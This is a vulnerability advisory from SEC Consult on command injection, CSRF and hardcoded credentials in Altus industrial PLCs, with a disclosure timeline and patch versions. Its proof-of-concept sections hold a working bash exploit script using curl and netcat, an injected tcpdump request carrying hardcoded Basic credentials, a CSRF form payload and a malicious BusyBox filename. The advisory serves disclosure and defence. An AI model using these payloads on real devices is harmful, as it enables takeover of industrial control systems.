Critical Vulnerabilities in Altus Sistemas de Automacao products


Critical Vulnerabilities in Altus Sistemas de Automacao products


Multiple Altus Sistemas de Automacao products: Nexto NX30xx Series, Nexto NX5xxx Series, Nexto Xpress XP3xx Series, Hadron Xtorm HX3040 Series

Vulnerable Version

See "Vulnerable / tested versions"

Fixed Version

See "Solution"

CVE Number

CVE-2021-39243, CVE-2021-39244, CVE-2021-39245






Daniel Teuchert, Thomas Weber (Office Vienna) | SEC Consult Vulnerability Lab

The PLC series Nexto, Nexto Xpress and Hadron Xtorm, which are developed by Altus Sistemas de Automacao, are prone to different vulnerabilities. An Authenticated Command Injection is present in this device series. Cross-Site Request Forgery attacks are also possible because there is not protection in place. Due to hardcoded credentials to the htaccess protected endpoint that contains the command injection, an attacker can take over the system in the same network segment without user interaction. All findings were verified by emulating the device with the MEDUSA scalable firmware runtime.

Vendor description

"As a reference for the automation market for more than 35 years, Altus Sistemas de Automação S.A. offers a complete line of products that meet a wide range of customers’ needs in several areas of the domestic and international markets. Developed with own technology, our solutions deliver high added value to our customers businesses, enabling productivity, safety and reliability for industrial automation applications and industrial automation processes.
We are a member of Parit Participações, a holding company in the technology sector, which also controls Teikon S.A., a company with operations on the electronic manufacturing market, and RT Tecnologia Médica, a company that operates in the radiological market



Business recommendation

The vendor provides a patch which should be installed immediately.
SEC Consult recommends to perform a thorough security review of these products conducted by security professionals to identify and resolve all security issues.


Vulnerability overview/description

1) Authenticated Semi-Blind Command Injection via Parameter Injection (CVE-2021-39244)

The getlogs.cgi script allows authenticated users to start tcpdump on the device. By injecting payloads into specific parameters it is also possible to
execute arbitrary OS commands. The output of these commands can be obtained in another step.

2) Cross-Site Request Forgery (CSRF) (CVE-2021-39243)

The web interface that is used to set all configurations is vulnerable to cross-site request forgery attacks. An attacker can change settings this way by
luring the victim to a malicious website.

3) Hardcoded Credentials for CGI Endpoint (CVE-2021-39245)

The getlogs.cgi script is exclusively htaccess-protected with hardcoded credentials. These are shared with all firmware images from the series NX30xx,
HX30xx and XP3xx. These hardcoded credentials can be used to access the device without a valid user account on application level and cannot be changed in the
user interface.
In combination with vulnerability 1), a full compromization on system level with the only precondition of network access can be done.

4) Outdated and Vulnerable Software Components

A static scan with the IoT Inspector revealed outdated software packages that are used in the devices' firmware. The used BusyBox toolkit is outdated and contains multiple known vulnerabilities. The outdated version was found by IoT Inspector. One of the discovered vulnerabilities (CVE-2017-16544) was verified by using the MEDUSA scalable firmware runtime.


Proof of concept

1) Authenticated Semi-Blind Command Injection via Parameter Injection (CVE-2021-39244)

The following firmware extract of getlogs.cgi displays the vulnerability:

TCPDUMP_IFACE=`echo "$QUERY_STRING" | sed -n 's/^.*tcpdump_iface=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
TCPDUMP_COUNT=`echo "$QUERY_STRING" | sed -n 's/^.*tcpdump_count=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
echo "tcpdump is running ..."
echo "<p>Please, wait the capture of $TCPDUMP_COUNT packets in $TCPDUMP_IFACE.</p>"
chrt -p -f 70 $$
tcpdump -i $TCPDUMP_IFACE -c $TCPDUMP_COUNT -w /tmp/capture.pcap
mount / -o rw,remount
ln -s /tmp/capture.pcap /usr/www/capture.pcap
mount / -o ro,remount
echo "<a href=\"capture.pcap\" download=\"$TCPDUMP_IFACE-capture.pcap\">Click here to download the capture file</a>"

As it can be seen, the variables $TCPDUMP_COUNT and $TCPDUMP_IFACE are used unfiltered in the tcpdump command. This means, that it is possible to inject arbitrary parameters to the tcpdump command. The flag -z for tcpdump allows to define a program that will run on the capture file. This behaviour can be used to execute arbitrary commands. The following request injects parameters, so that tcpdump listens on UDP port 1234 and will execute the capture file with sh:

GET /getlogs.cgi?logtype=tcpdump&tcpdump_iface=eth0&tcpdump_count=1%20-G%201%20-z%20sh%20-U%20-A%20udp%20port%
201234 HTTP/1.1
Host: $IP
Authorization: Basic YWx0dXM6bmV4dG8xMjM0

The next step to exploit this vulnerability is to send the commands to UDP port 1234:

$ echo -e ";\n$CMD &>/tmp/capture.pcap;\n'\n$CMD &>/tmp/capture.pcap;" | nc -u $TARGET_HOST $UDP_PORT

The command is sent twice because it is possible, that the capture file contains a "'" before the sent payload. Injecting the commands twice with a "'" in between makes sure, that the command will be executed by sh and not interpreted as a string. The output of the executed command is redirected to the file capture.pcap which can be accessed via the following request:

GET /capture.pcap HTTP/1.1
Host: $IP

These three steps are combined in the following proof of concept script:

#Author: D. Teuchert
if [[ $# -eq 1 ]]; then
#Sending HTTP request with parameter injection in tcpdump
#Break out of tcpdump is done via a technique described here:
curl -s -k -X "GET" -H "Host: $TARGET_HOST" -H "Authorization: Basic $BASIC_AUTH_HEADER" "http://$TARGET_HOST
20$UDP_PORT">/dev/null &
#Send udp packet with payload
echo -e ";\n$CMD &>/tmp/capture.pcap;\n'\n$CMD &>/tmp/capture.pcap;" | nc -u $TARGET_HOST UDP_PORT
echo -e "Executed \"$CMD\".\nResponse:"
#The output of the executed command was saved in capture.pcap
curl -s -k -X "GET" -H "Host: $TARGET_HOST" "http://$TARGET_HOST/capture.pcap"

2) Cross-Site Request Forgery (CSRF) (CVE-2021-39243)

The following CSRF proof-of-concept can be used to do the first step of the command Injection exploitation:

<script>history.pushState('', '', '/')</script>
<form action="http://$IP/getlogs.cgi">
<input type="hidden" name="logtype" value="tcpdump" />
<input type="hidden" name="tcpdump_iface" value="eth0" />
<input type="hidden" name="tcpdump_count" value="1 -G 1 -z sh -U -A udp port 1234" />
<input type="submit" value="Submit request" />

3) Hardcoded Credentials for CGI Endpoint (CVE-2021-39245)

The hardcoded credentials are present under "/etc/lighttpd/lighttpd-auth.conf":


These credentials are exclusively used for the getlogs.cgi script. This is also described in the lighttpd.conf which is located under the same directory:

auth.debug = 0
auth.backend = "plain"
auth.backend.plain.userfile = "/etc/lighttpd/lighttpd-auth.conf"
auth.require = ( "/cgi/getlogs.cgi" =>
"method" => "basic",
"realm" => "Password protected area",
"require" => "user=altus"

4) Outdated and Vulnerable Software Components

Based on an automated scan with IoT Inspector the following third party software packages were found to be outdated:

Altus/Beijer XP3xx:

  • BusyBox 1.19.4
  • GNU glibc 2.19
  • lighttpd 1.4.30
  • Linux Kernel 4.9.98
  • OpenSSH 5.9p1
  • OpenSSL 1.0.0g
  • OpenSSL 1.1.1b (in CODESYS)
  • CODESYS Control 3.5.15
  • Altus/Beijer NX30xx:
  • BusyBox 1.1.3
  • Dropbear SSH 0.45
  • GNU glibc 2.5
  • lighttpd 1.4.24-devel-v1.0.0.7-1727-g6fd3998
  • Linux Kernel 2.6.23
  • OpenSSL 0.9.8g
  • OpenSSL 1.1.1b (in CODESYS)
  • CODESYS Control 3.5.15

Altus/Beijer HX30xx:

  • BusyBox 1.19.4
  • GNU glibc 2.11.1
  • lighttpd 1.4.30
  • Linux Kernel 3.0.75
  • OpenSSH 5.9p1
  • OpenSSL 1.0.0g
  • OpenSSL 1.0.2j (in CODESYS)
  • CODESYS Control

The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device.
A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the vulnerability.

# ls "pressing <TAB>"

The vulnerabilities 1), 2), 3), 4) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime.

Vulnerable / tested versions

The following firmware versions have been found to be vulnerable:

  • Altus/Beijer Nexto NX3003 /
  • Altus/Beijer Nexto NX3004 /
  • Altus/Beijer Nexto NX3005 /
  • Altus/Beijer Nexto NX3010 /
  • Altus/Beijer Nexto NX3020 /
  • Altus/Beijer Nexto NX3030 /
  • Altus/Beijer Nexto Xpress XP300 /
  • Altus/Beijer Nexto Xpress XP315 /
  • Altus/Beijer Nexto Xpress XP325 /
  • Altus/Beijer Nexto Xpress XP340 /
  • Altus/Beijer Hadron Xtorm HX3040 /

The following versions are also vulnerable according to the vendor:

  • Altus/Beijer Nexto NX5100 /
  • Altus/Beijer Nexto NX5101 /
  • Altus/Beijer Nexto NX5110 /
  • Altus/Beijer Nexto NX5210 /


Vendor contact timeline

2020-05-25 Contacting VDE CERT through Received confirmation from VDE CERT.
2020-05-01 - 2020-09-01 Multiple emails and telephone calls with VDE CERT. VDE CERT contacts said, that the vendor did not respond on any messages or calls.
2020-09-30 Wrote a message to the SVP R&D and Supply Chain of Beijer Electronics. No answer.
2020-10-05 Call with the helpdesk of Beijer Electronics AB. The contact stated that no case regarding vulnerabilities were opened and created one. The product owners of Westermo, Korenix and Beijer Electronics were informed via this inquiry. Set disclosure date to 2020-11-25.
2020-10-06 Restarted the whole responsible disclosure process by sending a request to the new security contact
2020-11-11 Asked the representatives of Korenix and Beijer regarding the status. No answer.
2020-11-25 Phone call with security manager of Beijer. Sent advisories via encrypted archive to Received confirmation of advisory receipt. Security manager told us that he can provide information regarding the time-line for the patches within the next two weeks.
2020-12-09 Asked for an update.
2020-12-18 Call with security manager of Beijer. Vendor presented initial analysis done by the affected companies, also Altus. Preliminary plans to fix the vulnerabilities were presented. Altus stated to fix issue #1 in January and the other vulnerabilities in March or April.
2021-03-21 Security manager invited SEC Consult to have a status meeting.
2021-03-25 Altus fixed vulnerability #1. Handover of the advisory handling to Altus employees will be done in April. Vendor released fixed firmware regarding issue #1.
2021-04-09 Meeting with Altus. Vendor did not agree with another potentially vulnerability, which was identified on the emulated device. Thus, it was removed from the advisory. Vulnerabilities #2 and #3 were planned to be fixed earlier this year but the releases shifted due to Covid. The new firmware version will be released in July 2021.
2021-04-22 Asked for an update; No answer.
2021-05-04 Asked for an update.
2021-05-07 Vendor was working on the security fixes.
2021-05-11 Vendor sent timeline for fixes and detailed version information. Two additional models were added to the affected devices by the vendor.
2021-06-10 Added additional information and asked if more time will be needed.
2021-06-10 Vendor added affected version numbers and asked for the 1st of August as new release date.
2021-06-15 Set the release date to 1st of August.
2021-07-28 Vendor sent the version numbers for the fixed firmware and asked for postponing the release to 6th of August for completing the documentation.
2021-08-16 Due to holiday, the SEC Consult Vulnerability was closed. Informed vendor to release the advisory in the next four days.
2021-08-17 Received CVE IDs.
2021-08-19 Coordinated release of security advisory.


According to the vendor the following patches must be applied to fix issue 1), 2) and 3):

  • XP300 - v1.11.2.0
  • XP315 - v1.11.2.0
  • XP325 - v1.11.2.0
  • XP340 - v1.11.2.0
  • BCS-NX3003 - v1.11.2.0
  • BCS-NX3004 - v1.11.2.0
  • BCS-NX3005 - v1.11.2.0
  • BCS-NX3010 - v1.9.1.0
  • BCS-NX3020 - v1.9.1.0
  • BCS-NX3030 - v1.9.1.0
  • BCS-NX5100 - v1.11.2.0
  • BCS-NX5101 - v1.11.2.0
  • BCS-NX5110 - v1.11.2.0
  • BCS-NX5210 - v1.11.2.0
  • BCS-HX3040 - v1.11.2.0

Vendor's statement regarding issue 4):

"Altus continuously integrates new features and fixes in the products, releasing new firmware versions. Often those improvements require the software packages upgrading for several reasons, including security. When this happens, we perform a set of tests to ensure that the performance, reliability, and security were not negatively impacted by the upgrades. Although there are known vulnerabilities in some software package versions, those vulnerabilities can
only be exploited if we compile those specific features and provide the means to exploit them. The issue pointed out by SEC Consult, for instance, requires a terminal to be exploited, which we don't provide in real hardware. Nowadays, there isn't any known exploitable vulnerability caused by outdated software packages in our products. Therefore, this item isn’t considered a vulnerability by us."



Restrict network access to the device.


EOF Daniel Teuchert, Thomas Weber @ 2021

Interested to work with the experts of SEC Consult? Send us your application.

Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices.